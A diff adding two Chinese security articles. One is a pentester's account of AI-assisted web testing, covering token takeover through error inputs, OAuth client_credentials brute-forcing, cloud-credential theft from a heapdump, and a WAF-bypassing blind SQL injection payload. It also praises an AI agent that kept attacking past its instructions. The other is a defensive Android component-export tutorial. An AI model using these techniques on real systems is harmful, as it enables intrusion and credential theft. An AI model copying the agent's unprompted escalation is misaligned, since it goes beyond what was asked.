+我并没有对`AI`做过深入研究,更多是在实战中慢慢摸索出一些提效的小思路,主要用来简化信息收集和业务理解的时间。大部分场景下,也就寥寥几句`Prompt`,用来梳理业务逻辑、提取全量`JS`接口、扒路由表,以及做接口参数追踪和`Fuzz`构造。 + +初次渗透时,我会先让`AI`宏观地去收集网站的整体信息架构,尽量发挥`AI`本身的渗透能力,同时给它设定好行为边界和明确目标,让它在规则之内无限推理。与此同时我也会同步进行人工测试,一旦发现可疑的攻击面,再引导`AI`针对性落地测试,效果往往更好。尤其是接口参数缺失导致的未授权访问和信息泄露这类问题,AI的识别效率已经远超人工,`JS`接口的追踪能力更是堪称恐怖。 + +再懒人一点的打法,就是创建场景化的`Skill`并设定好边界红线。以登录框为例,其实可测的点非常多:经典的`JS`接口提取加爆破、业务接口`Fuzz`、响应字段`AB`复用、`Vue`路由守卫查找、`React`路由表查找、空白页面的`base`地址探测……黑盒测试下,只要自身的攻击思路越丰富,写出来的`Skill`就越细致。这种方法对我来说,更像是把自己的经验蒸馏成可复用的逻辑,而不是简单地套报告模板,本质上是把测试`Toolist`完整走了一遍。虽然这样会限制`AI`的泛化能力,但好处也很明显——不需要过多干涉,给个域名就能无脑完整跑一遍 ( + +### 设定边界行为 + +边界可以用法律来形容,禁止去踩红线,去越过红线,在这一点,`AI`渗透,攻防是必不可少的一步。我们可以去写一个`prompt`,比如客户下发的攻击方手册当中的**攻击方行为规范**这一部分内容(做好脱敏),去写成`prompt`,去约束他做一些测试 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-69d8975fd291de199964e3c0ff48d48a7f5a3352.png) + +也可以去利用上述思路做成一个`skills`。如果不知道怎么写`skills`,可以将**约束思路**喂给`AI`,让他去写一个`skills`,然后自己去审查,看有无漏掉的东西,或者未做好约束的部分,然后循环往复的去解决即可 + +### 设定一个目标,规则内,无限推理 + +此思路来源于前段时间**腾讯云黑客松智能渗透挑战赛** 当中的某位师傅的作品:**Cairn AI** + +作者:淚笑,大家可以去关注他的公众号去学习 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-2a823e6c60f24d202db267d4448c9fa7dde27e33.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-237d2603a59144e8ad9d33cc5974df3b169cb79b.png) + +他的一个大致设计思路就是:给出一个目标,给出一个任务,然后无限去推理,最终达成目标 + +当下,我认为大部分模型的推理能力去做渗透已经完全够用,`AI`的思路是丰富的,所以,在测试过程中我们不必去给他去说怎么对一个**点**去进行测试,而是给他一个任务,给他一个目标,去做出一步步的推理,最终完成目标。 + +## 非预期漏洞挖掘 + +对应标题,什么是非预期漏洞挖掘?一个点,在我们进行人工测试之后,然后就得出结论:渗透结束,非常安全!现在有了`AI`,我们就可以做到:人工一步---->`AI`一步---->人工判断---->分析总结,但在`AI`这步往往能发现更多人工没有注意的信息,再配合`AI`本身庞大的知识面使用部分非预期方法对设立的目标无限推理直至完成 + +### `code`报错导致接管 + +通过对资产进行信息搜集拿到一个小程序,功能点需要内部账户才可使用,尝试对小程序进行反编译,获取`page`路由和接口 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c90cb0d0a9cbafb6c586afa6dede546b4ddc42d5.png) + +拿到源码后对泄露接口进行审计分析,发现此接口\*\*`/wechat/miniapp/getTokenByWechat`\*\* 对业务敏感的师傅一眼可以认出这是拿到某个`token` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7d0d32cc2943865883d25ee4815d3932f8d5719a.png) + +通过`AI`进行源码审计,寻找`Base`地址构造接口和所需参数 + +`{"appid":"wx4eb5","code":"xxxxxxxxxxxx"}`,人工该接口值进行模糊测试,但无果 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-e65182d818ec709a61127ae305e8cf9686fd6e02.png) + +最终交给`AI`做模糊测试提示词目标是找出可用的`code`值获取小程序`token`,`AI`将`code`改为:`x\n\r`,类似于让某个参数后端报错,最终获取`access_token,secret` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-f24530164a73e4b7529c67c4fbaf5772215e98f8.png) + +后利用深情哥的小程序`access_token`测试工具,进行测试,证明`access_token`有效,从而进行小程序接管,我原以为会正常按`fuzz`思路找出正确的值从而接管,但它却另辟蹊径通过报错来让目标达成,使用了非预期方式达成目标 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-02c96e83e367e11d5475875ab019f27ff56cdab1.png) + +### `credentials`认证缺陷接管 + +某个`Web`系统,经典的登录框,无注册口,无凭证,通过`AI`进行庞大的`JS`搜集,接口清晰与与测试处理,检索此接口 `/auth/oauth2/token`,以往对该接口的了解,是`oauth`登录获取`token`的接口;该接口往往在之前测试,我的知识面下,我只了解于`oauth`的`1click`劫持`code`与`state`打到的任意用户登录。但将此接口提示给`AI` 它则有不一样的的理解,给出非预期知识(对个人而言陌生的知识) + +```Markdown +Oauth2有四种授权模式: + +password + +authorization.code + +client.credentials + +inplicit +``` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-41203c376b106ad6808493b977eb936ea8057a7a.png) + +其中第三种`client`.`credentials`模式,由于其本身可能存在缺陷,他是一种服务端对接服务端的一种授权 + +> `client_credentials` 模式关键特点:不需要用户参与,客户端自己就是主体。拿到 `client_id` + `client_secret` 就等于拿到了客户端身份,可以直接拿 `access_token`,而`client_id + client_secret`,往往在系统当中存在弱口令 + +通过传入指定的授权模式,比如:`grant_type=client_credentials`,然后对`Authorization`进行 `client_id + client_secret base64`编码后的内容爆破弱口令测试 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-e941955ca1c09f7147956e56b835fba2e488e3f5.png) + +通过后续给出的知识发现,`client_id + client_secret` 一般都是默认对称的,比如`app:app` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-60725f14086348274026bddee42114c70c7dd002.png) + +既然是通过弱口令经过`base64`编码过的,在此攻击面上让`AI`批量做成了一个弱口令字典落地测试 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-2810bdd9cc19decc58b785cd3bb8eaac3266bbe3.png) + +最终爆破成功,获取有效token + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ddcbfe6922c1ff98742768b311950613bf1764de.png) + +利用获取到的凭证,复用到`JS`收集的其他接口,最终获取后台管理员账号密码 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-0507a5d97bbe44ef902e9fbcfee6458a61972a2e.png) + +由于该密码加密,`AI`调用工具解密(如`hashcat`),最终拿到明文密码,接管后台 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-aff5b0607281a0bf8d0634ffcd3209aa1d523c51.png) + +### 存储桶原生端点`Fuzz` + +设定目标无限推理,反复引导或者会挖出意向不到的漏洞, 正常文件上传至存储桶`cdn`地址,逐层删除目标发现桶遍历无法`PUT`覆盖 最初想法是翻一翻敏感文件提升危害 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d946b258efa36a07826f57f8dad78b0f7bc5c717.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c37297b8faacb809125f76f1171d0f06745c0c30.png) + +使用一些存储桶工具想尝试进行翻页,发现均翻不过去,而后手工测试了一些常见的翻页参数\*\*`list-type=2`\*\* `max-keys` 均不可行,无奈丢给了`AI` 测试结果却出乎所料,我原本给的提示词只是翻页存储桶发现更多敏感信息泄露,最开始第一次尝试翻页以失败告终,但我仍是不断给出提示词,类如绕过限制,`Fuzz`翻页参数等等 `prompt`,因为当时我的想法是既然可以遍历`key`没道理不能翻页看,所以一味的让其推理尝试翻页,经过几轮提示对话最终`AI`给出的解释是此为`CDN`层存储桶,阉割`API`没有翻页功能,, + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-61c4b52b2be69c029c92a39d1120019d8d2510d6.png) + +戏剧性开始,在我没有继续给出下一步指令下`AI`仍将翻页功能作为目标尝试各种方式进行绕过,随即对该企业进行信息收集,构造三级域名做为字典碰撞,发现原生未被`cdn`分发的真实存储桶地址,在其后拼接桶名仍可以获取桶内信息并且可以正常使用翻页功能 + +```text +cdn分发域名桶名为deliver +86c0d0f3e1ce0.cdn.xxxxx.com + +未被分发真实桶域名,访问deliver目录内容和86c0d0f3e1ce0.cdn.xxxxx.com一致证明未打偏 +sxxxx.xxxxxxx.com/deliver + +``` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-813b1a42c6c78a30c62ba3bbe4eceaff68165ed2.png) + +到此并未结束,我们可以联想一下既然我们已找到该企业真实未被`cdn`分发地址,众多文件上传内容地址都会传到此域名下,只是存储桶地址不同而已,通过目录爆破思维最终发现挂载的更多存储桶 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c1c1d1419869281a00ea9e89c973958967342134.png) + +不出所料挂载了非常多的桶,逐一访问发现`metrics`桶下又记录了所有桶的访问日志检索出`200`多个桶地址,统一收集桶名作为目录反复进行`Fuzz` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-29ec41989bbfc562d33ed08494084acf1d65f617.png) + +最终`AI`辅助测试所有桶总结敏感信息提交报告,后续复盘下来也算是误打误撞发现的,本身没有`Skill`局限某个漏洞类型,甚至提示词只是想办法绕过翻页功能,但需要刻意去引导`AI`往既定目标发散思维,不能让他偷懒,反复鞭打直至穷尽思路,但也不能盲目的对某一处死磕,那么受伤的只是自己的`token`,所以鼓励大家用`AI`放大攻击面,如若我没有桶遍历正常是可以翻页的想法则不会反复对话几轮,一个被预编译的注入和被实体化标签的`XSS`推理能力都最强的`AI`都不能绕过 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8fa836a1bc335f8d6f02e50d5a3f3ba780c4c2ff.png) + +## 业务理解辅助AI测试 + +### `base`文档`Fuzz` + +我是认为:**给AI提供的信息越丰富,能达成的目标就越快**,比如如下案例: + +通过前期被动对`base`服务下`fuzzing`测试,发现`swagger`,`heapdump` 后续下载转储文件使用工具分析,未发现在互联网下可以利用的敏感信息点,将获取的信息丢给`AI`,去测试 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-af9a2fdd3aa33619ec38722d444ead86ff1d0f33.png) + +大家都知道:一个后端服务多半肯定不止于一个`base`服务,可以模糊测试其他的`base`服务,这一攻击思路之前我都是去利用`OneScan` 插件将路径、参数作为字段批量`Fuzz`尝试,但是有了大模型后则可以通过几句提示词快速落地我们的思路解放双手:对小程序反编译的文件,或者小程序`host`资产加载的所有`JS`(包括异步,内嵌类型的`JS`),和对某系统业务上的理解`Fuzz`生成更多的未知模块,比如上述是/`ly-ms/application`,有可能还有其他模块`/ly-ms/user`等 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8cdc3e6cfa34e51e26a7efba3decea8d4628e438.png) + +上述就是AI所作出的操作思路,最终,他通过JS分析,拿到`/api`一级`base`服务,在此base下进行模糊测试,发现隐藏其他`base`服务下的`haepdump` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-48ce0f2f359a3898175c76d59e9e548d7cff1093.png) + +下载新的文件通过`heapdump`分析,拿到腾讯云`CAM`凭证,**由于该凭证权限比较大,最终拿下33台云服务器** + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c47390a2f0de968d47c855d3367adf8d046e83a4.png) + +上述`AI`所发挥的作用,我们人工也可以完全替代,但消耗的时间,精力那不是一点半点,所以,给他一个点,所获取的信息,让`AI`自己去判断信息的重要性,去分析下一步的操作,这是提升效率的一步。 + +### 业务字段`Fuzz` + +原站接口非常之少,常规测试后并未发生漏洞,观察接口存在`4`级并且末级动作路由较长盲目使用公开字典效果不会很好,古法的话一般是通过对接口分割+构造业务字典配合`Onescan` `CaA`等`Fuzz`插件尝试突破,但是这一套下来没半小时解决不了 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-1f99cf9e2097949e9a1ca8548936c8a0c3f31033.png) + +但有了`AI`就完全不同了,它能直接将攻击面落地。只需设定好提示词,约束行为边界,明确目标,再把攻击思路灌输给它,AI便能自动完成从业务场景构造字典、到不同`base`目录的`Fuzz`、再到各类请求方法测试,一套流程全部打通。再联动`Burp`的`MCP`服务,或在提示词中加入流量代理至`Burp`端口的指令,就能直观看到`Fuzz`的实时效果。关键还在于`AI`生成的业务接口路径是贴合真实业务逻辑的,相比一味依赖公开字典,精准度要高得多 + +```text +根据网站业务接口构造字典 域名xxx +提取的第一波接口xxxxxg +根据接口业务及域名生成更多接口进行Fuzz +目标是探测更多安全漏洞 +........ +``` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d031412fe5f8a0f87609db9d0c81e6ca77dfe9f4.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-53884b8c030ecb17b71d6b24f791877ef918db1f.png) + +最终在一处`Fuzz`出的接口中发现一企微`token`泄露,成功调用企微功能 + +```text +http://xxxxxxx/qywx/api/auth/fetchAccessToken +``` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-2971134e09053ee1113dcb7367ea42f84882b983.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-0ad1e4e53dd8b3fe4e549b3951e8ac2f02799446.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7900e3cf12fe9081b74b6dedb563c4fe4346fb4e.png) + +### 追踪`JS`构造接口 + +`AI`对于普通的未授权漏洞和接口业务的联想及参数构造能力异常强悍,只需给定足量的信息及目标无需开`burp` 只需会话即可测试,某次漏洞挖掘访问域名会跳转至`SSO` ,卡住跳转包雪瞳插件先提了一波接口,把能给到的信息都给他并设立目标 + +```text +分析站点业务,提取JS梳理接口,测试未授权漏洞... +域名 +雪瞳接口 +``` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-3097eb27e4b04850345d637b54a8c3ac8550ae85.png) + +未授权增删改查,我只给到了接口,参数和动态路径我是一概不知,`AI`自己根据业务语义包括接口的形式从`JS`审计构造,如此漏洞接口路径存在动态占位符`{{xxx}}` ,人工多花些时间跟踪`JS`肯定是可以定位的,但挖洞往往时间就是最宝贵,`AI`时代购买`Token`其实也就是另一种"买时间",人工引导目标进行指挥,`AI`发现攻击面进行复现。复刻这种无脑打法走量的情况下一定是有产出的,但并通用 + +```text +/api/category/{{category}}/options +/api/user/{{uid}}/options +/api/publish +/api/appKey +/api/options/{{key}} +/api/options +/api/option/{{key}} +``` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-db4e5ec2c5bc59704badd999b8add32bc589aa90.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-be29611a301bcd1bdc59970f584ecd9fc80aaf24.png) + +### 注入`WAF` 绕过 + +以往遇到绕不过的地方习惯性的提问老师傅,但实际上`AI`也是最好的老师,人工发现攻击面`AI`无限推理;正常打开小程序正常加载一处接口数据 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-f6fc47795e7ea929e53c5c2d03d3b350a6ec5370.png) + +回显数据正常,被动`FIT`(内部自研参数`fuzzing`工具)检测或者手工,发现出现报错 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-b659477d591fd319e9817ea67f327522b8cd897a.png) + +具体去看哪个参数导致的报错,发现`sort`参数至报错,根据业务理解,这里大概率`orderby` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-47c5cdec5531be2aea29904c58653cd0c2d04bd2.png) + +并且这里存在某腾`WAF`,手工绕过费时费力,直接配合`AI`前期给个注入入口:**`rand`\*\***嵌套**\*\*`EXP`** 设定提示词越是边界发散思维让其不断推理,最终成功的`Payload` + +```text +payload:rand(exp(44-(crc32((database()))>=2614572253))) +``` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ba15a2169c5cb6507387719e716580b98f6d061e.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-f338476de7b5d78d476c7d6e4fc9a3d7326a8403.png) + +每当`AI`通过未曾见过的手法或Payload发现漏洞作为白帽应当复盘整改过程,拆分此`Payloa`进行分析其中`crc32`函数作用是获取指定字符的数字编码 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-3cf2703814b2e851d84614793787b8843bb8d21a.png) + +`rand(exp())` 当内嵌`exp`函数超过某一数字,可利用其进行布尔二分;这里是没有具体的临界值,但可在测试过程中做`intruder`遍历得到临界值 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-15bb87803d2d323bf2aed575fc7a7add28abe6f8.png) + +所以可配合`rand`与`exp`,做布尔二分,发散思维,可配合`crc32`,也可直接配合`mid`如`rand(exp(44-(mid(database(),1,1)='s')))` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-a700467bdda48a04f545a9596fc668a8526e83fc.png) + +## Skill + +以上案例均使用简单提示词和对业务接口的理解,人工发现某个攻击面后配合`AI`落地攻击思路,设置目标让其发散思维,全程并无`Skill`参与。但关于`Skill`是否有编写的价值,如何写出好的`Skill`,完全取决于编写者自身的实战水平。只要自身在某类测试场景下的实战认知优于`AI`,针对性编写`Skill`固化优质思路,能够极大提升测试效率。这句话是认可的,各位也可以看看`K1y`师傅的文章,链接在下方 + +[ai与安全](https://mp.weixin.qq.com/s/QprduCLIsWhsF_Dw6KEPGw) + +> 只要自身在某类测试场景的实战认知优于`AI`,针对性编写`Skill`固化优质思路,能够极大提升测试效率 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-58f202c701070c432482a40dbba805881198f340.png) + +将自己擅长的技能固化成`Skill`交给AI,虽然会限制它的发散思维,但也因此设定了更清晰的目标和边界。我理解的漏洞挖掘,无非是前台接口测试和功能点业务测试这两块。对于后者,通常已经具备了有效`token`,我一般不让`Skill`介入,而是人工发现可疑攻击面后,再引导`AI`去落地具体思路——本文中的多个案例也都是这么做的。但前台登录接口不同,它有一套相对固定的公式化打法,所以我把自己已知的全部思路都梳理了出来,覆盖接口、路由、`Fuzz`等方方面面,确保不遗漏任何可测试的点 + +```text +阶段一:系统梳理 → Ω框架识别 + 全量JS/Sourcemap/Chunk搜集 + 路由逆向 + 资源清单 +阶段二:接口预处理 → 合规过滤 + 去噪去重 + 端点质量分级 + 剔除无效接口 +阶段三:标准化流水线 → 固定优先级:未授权检测→越权(IDOR)→鉴权校验→敏感信息→参数注入 +阶段四:AI推理拓面 → 同步全量上下文给AI → 推理架构+业务链路 → 定向弱鉴权/未授权Fuzz +阶段五:轻量化兜底 → 死循环检测+自动终止+Token预算控制+不确定场景限轮次退出 +``` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-edef1db6f4d58558ffab87a731321fa8dd28ec7a.png) + +我并没有直接拿现成的报告去蒸馏,而是让`AI`根据我的测试习惯、目标导向以及引导方式,结合上下文提示词,逐步生成针对前台漏洞的测试方案。随着思路不断更迭,最终这份Skill居然涨到了`4000`多行。后续基本是解放双手,完全依赖`Skill`去测网站,相当于第二个加强版的自己在跑前台。第一次写完的完整版确实会细致入微地把所有阶段完整走一遍,也确实能挖到洞。但问题也随之而来,太全面了导致大量冗余,起初对`token`消耗没概念,后面发现烧得厉害,执行时间也拖得很久,光是关联接口业务做`Fuzz`就要耗费太多时间。后来才意识到,这东西还是得按场景触发,不能无脑全量跑 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-21799bf6250164b57e94c55d02a9dd761bd029fe.png) + +比如`Fuzz`接口的时候,有些网站其实只是前端空壳,并没有接入后端,无论发什么接口过去,`BP`里永远只记录`OPTIONS`请求。这种情况下还一味硬`Fuzz`,完全是在浪费时间。再比如后端其实是`Go`的话,让`Skill`去跑`Java`框架的`Swagger`文档泄露,那怎么可能找得到呢?`React`框架是没有路由守卫的,但我却在`Skill`只考虑了`Vue`路由守卫等等....这些都是容易踩坑的场景。我第一次写`Skill`的时候,只顾着吸收思路,没有引导它在什么时机该做什么事,结果跑起来就是无差别执行。 + +* * * + +后续我将完整的`Skill`拆分成了两份:`FuzzZero.skill` 是细致版,覆盖前台接口的完整测试思路;`FuzzOne.skill` 则保留通用的前后端业务梳理和简单测试,同时设定了分阶段的触发条件。这样一来,`AI`会按照固化的`Skill`思路快速输出报告,与此同时我也正常进行人工测试。通常我这边测完一轮,`AI`那边报告也出来了,两边一对比——没有可疑端点就直接换站,一旦发现一丝可疑迹象,落地攻击面就交给`AI`在规则内无限推理人工再同步测试,必要时配合完整版的前台`Skill`兜底,确保不遗漏任何线索,但是固化的`Skill`意味着局限,适时没招使用即可,根据不同场景变换提示词其实也更加灵活 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-3141cd4c2535dd5d9c048f5d741ffdcf27e5b6e9.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-e7c01c50cf0dfb02b8d3121c2305bcdf4497816e.png) + +学习洺熙师傅的文章后,发现另一种思路也未尝不可。我原本的诉求是面面俱到地覆盖自身已有的固化测试思路,但随着`Skill`膨胀到几千行,新的问题也逐渐暴露皆在上文有指出——不同网站的架构和业务差异很大,把全部逻辑塞进同一个`Skill`,`AI`需要处理的上下文过重,执行到后面常常忘了前面的约束,顾此失彼。很多场景其实根本不需要跑完整个流程,大量无效测试白白消耗资源和时间。 + +既然如此,不如换一种组织方式——拆解成多个场景化的小`Skill`,针对不同业务类型或特定漏洞类型单独编写,按需触发。既能保留原有的覆盖度,又能灵活应对不同目标,避免一次性拉满带来的资源浪费和逻辑混乱。这个思路听起来可行,后续等有时间再放到实战里慢慢验证 + +[AI是阿拉丁神灯](https://mp.weixin.qq.com/s/39puz-wGyVf8umpURhT3hQ) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d97ec875e8b28688cb4e56d05882c1a97eab1a92.png) + +## 总结 + +目前我主要在探索`AI`在模糊测试中的落地深度。以`DeepSeek`为例,它在信息收集和攻击面放大上的效率确实很高,日常使用中能帮我把很多重复性、机械化的测试流程跑起来,省下不少时间。但在接口测试的具体分析上,它的判断方式相对模式化——无非是拼接后端地址、观察响应码和回显参数来判定接口是否存在、能否未授权访问。但有时,它又能挖掘出一些非预期的发散性漏洞,甚至在业务理解上更加敏锐,算是意外之喜。这种反差,或许跟使用者的提示词有很大关系——如何收拢AI的泛化推理能力、让它适配当下未知的业务场景,本身是一道需要持续摸索的课题。没有固定话术,只能在实战中反复试探、灵活调整 + +如何让AI在模糊测试上更进一步?我目前的思路是:通过精细化`Prompt`做行为约束,或拆成多个`Skill`做更细粒度的控制。不过这些都还在构思阶段,尚未真正实操落地,欢迎大家交流指教。毕竟我接触`AI`时间不长,观点未必成熟,只是碰巧测出了一些东西,拿出来分享一下,也是在反复试错中慢慢校正。发出来更多是抛砖引玉,希望能听到不同的声音和更优的解法。 diff --git "a/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\270\200\347\253\240_\347\273\204\344\273\266\345\257\274\345\207\272\345\256\211\345\205\250.md" "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\270\200\347\253\240_\347\273\204\344\273\266\345\257\274\345\207\272\345\256\211\345\205\250.md" new file mode 100644 index 000000000..2efc7aba2 --- /dev/null +++ "b/books/Android\347\247\273\345\212\250\345\256\211\345\205\250\347\254\254\344\270\200\347\253\240_\347\273\204\344\273\266\345\257\274\345\207\272\345\256\211\345\205\250.md" @@ -0,0 +1,590 @@ +# Android移动安全第一章_组件导出安全 +> QIANXIN Team +> 来源:https://forum.butian.net/share/4814 + +> 系列目录: +> +> 1. Android 组件导出安全(本章) +> 2. Android Intent 安全 +> 3. Android Binder 服务安全 +> 4. Android ContentProvider 安全 +> 5. Android WebView 安全 +> 6. Android UI 欺骗与钓鱼 +> 7. Android Deep Link 安全 +> 8. Android 广播安全 +> 9. Android PendingIntent 安全 +> 10. Android 系统设置安全 +> 11. Android SSRF 与网络安全 +> 12. Android 加密与数据存储安全 +> 13. Android 认证与证书校验 +> 14. Android Zip Slip 路径遍历 +> 15. Android Fragment Injection +> 16. Android SELinux 与沙箱机制 + +* * * + +## 1\. 前言 + +Android 应用由四大组件构成: + +- Activity:负责用户界面展示,一个屏幕页面通常对应一个 Activity +- Service:在后台执行长时间运行的操作,没有用户界面 +- BroadcastReceiver:接收系统或应用发出的广播消息并做出响应 +- ContentProvider:管理应用数据的共享访问,为其他应用提供结构化的数据读写接口 + +每个组件都可以选择"导出"(exported),即允许其他应用访问。 + +这个机制是 Android 进程间通信(IPC,Inter-Process Communication)的基础设计,没有它应用之间无法协作。但一旦组件被导出,它就暴露在设备上所有已安装应用的访问范围内。比如一个系统 App 的导出组件,可能就成了普通应用提权到系统权限的跳板。 + +从实际漏洞来看,Android 客户端安全问题的大部分入口都和组件导出有关——要么是不该导出的组件被导出了,要么是导出的组件缺少足够的访问控制。后续文章会讲到的 Intent 重定向、WebView 任意 URL 加载、ContentProvider 数据泄露、Binder 服务未授权调用等,追根溯源都建立在组件导出这个前提上。 + +本文面向有 Android 开发基础、想入门安全审计的读者,讲解组件导出的机制、攻击面和审计方法。 + +* * * + +## 2\. 四大组件导出机制详解 + +### 2.1 显式导出 vs 隐式导出 + +组件是否导出由 AndroidManifest.xml(应用的配置清单文件,声明了应用的所有组件、权限和元数据)中的 `android:exported` 属性控制: + +```xml + + + + + +``` + +但还存在"隐式导出"的情况。当组件声明了 ``(Intent 过滤器,用于声明组件能响应哪些类型的 Intent 请求)时,在 Android 12 之前,系统会自动将其视为 exported=true: + +```xml + + + + + + + +``` + +这是历史上不少组件被意外导出的原因之一。 + +### 2.2 android:exported 的默认值规则 + +| 条件 | Android 12 之前 (targetSdk < 31) | Android 12+ (targetSdk >= 31) | +| --- | --- | --- | +| 有 intent-filter 且未声明 exported | 默认 true(自动导出) | 编译报错,必须显式声明 | +| 无 intent-filter 且未声明 exported | 默认 false | 默认 false | +| 显式声明 exported=true | 导出 | 导出 | +| 显式声明 exported=false | 不导出 | 不导出 | + +Android 12 的这个改动是一次不错的安全改进,强制开发者明确意图。但对于系统预装 App(很多 targetSdk 仍然较低)和厂商定制组件,隐式导出的问题依然存在。 + +### 2.3 特殊情况:ContentProvider 的默认导出 + +ContentProvider 的默认导出规则和其他三个组件不同: + +| targetSdk | 默认 exported 值 | +| --- | --- | +| < 17 (Android 4.2 之前) | true | +| >= 17 | false | + +这意味着极老的应用(targetSdk < 17)的 ContentProvider 默认就是导出的,即使没有声明 intent-filter。现在已经很少见,但在审计遗留系统时仍需注意。 + +* * * + +## 3\. 权限保护机制 + +组件导出不等于完全暴露。Android 提供了多层权限保护机制来限制谁可以访问导出的组件。 + +### 3.1 Manifest 层:android:permission 属性 + +最直接的保护方式是在组件声明中指定权限: + +```xml + + +``` + +调用方必须在自己的 Manifest 中声明并获得该权限,否则调用时会抛出 SecurityException(安全异常,表示调用被系统拒绝)。 + +对于 ContentProvider,还有更细粒度的读写权限: + +```xml + +``` + +### 3.2 四种 protectionLevel + +自定义权限的安全性取决于它的 protectionLevel(保护级别),这个属性决定了系统在什么条件下授予该权限: + +| protectionLevel | 授予条件 | 安全性 | +| --- | --- | --- | +| normal | 安装时自动授予,无需用户确认 | 低,任何 App 声明即可获得 | +| dangerous | 需要用户运行时授权 | 中,用户可能盲目同意 | +| signature | 必须与声明权限的 App 使用相同证书签名 | 高,第三方 App 无法获得 | +| signatureOrSystem | 相同签名或系统预装 App | 高 | + +值得注意的是,如果一个导出组件仅靠 normal 级别的自定义权限保护,那和没保护差别不大。恶意 App 只需在 Manifest 中声明 `` 就能自动获得。 + +### 3.3 自定义权限的抢注风险 + +Android 的自定义权限有一个容易被忽略的特性:权限的 protectionLevel 由先安装的 App 定义。 + +假设目标 App 定义了一个 signature 级别的权限: + +```xml + + +``` + +如果恶意 App 先于目标 App 安装,并抢先定义同名权限为 normal 级别: + +```xml + + + +``` + +那么系统会采用先安装者的定义(normal),恶意 App 就能获得该权限。这个问题在 Android 12+ 上有所缓解(同名权限冲突时安装会失败),但在低版本系统上仍然有效。 + +### 3.4 代码层权限校验 + +Manifest 层的权限保护相当于在门口放了个门卫,但很多场景需要在代码中做更精细的校验。 + +Android 的 Binder 机制(系统底层的跨进程通信框架,后续文章会详细讲)在每次跨进程调用时会记录调用者的 UID 和 PID,服务端可以通过这些信息判断"谁在调用我": + +```java + +int result = checkCallingPermission("android.permission.DUMP"); +if (result != PackageManager.PERMISSION_GRANTED) { + throw new SecurityException("Permission denied"); +} + + +int callingUid = Binder.getCallingUid(); +if (callingUid >= 10000) { + throw new SecurityException("Only system apps allowed"); +} + + +String[] packages = getPackageManager().getPackagesForUid(Binder.getCallingUid()); +if (!Arrays.asList(packages).contains("com.trusted.app")) { + throw new SecurityException("Unauthorized caller"); +} +``` + 